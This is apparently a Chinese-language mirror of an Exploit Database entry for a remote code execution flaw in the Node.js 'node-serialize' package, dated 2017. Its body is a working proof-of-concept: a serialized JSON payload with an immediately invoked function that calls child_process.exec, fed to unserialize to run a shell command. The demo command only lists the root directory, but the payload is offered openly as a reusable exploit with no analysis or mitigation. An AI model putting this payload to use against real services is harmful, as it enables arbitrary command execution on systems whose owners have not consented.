Node.JS – ‘node-serialize’ Remote Code Execution

• Exploit Database
• 17 阅读

• 作者： OpSecX
  日期： 2017-02-08
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45265/

• var serialize = require('node-serialize');
  var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
  serialize.unserialize(payload);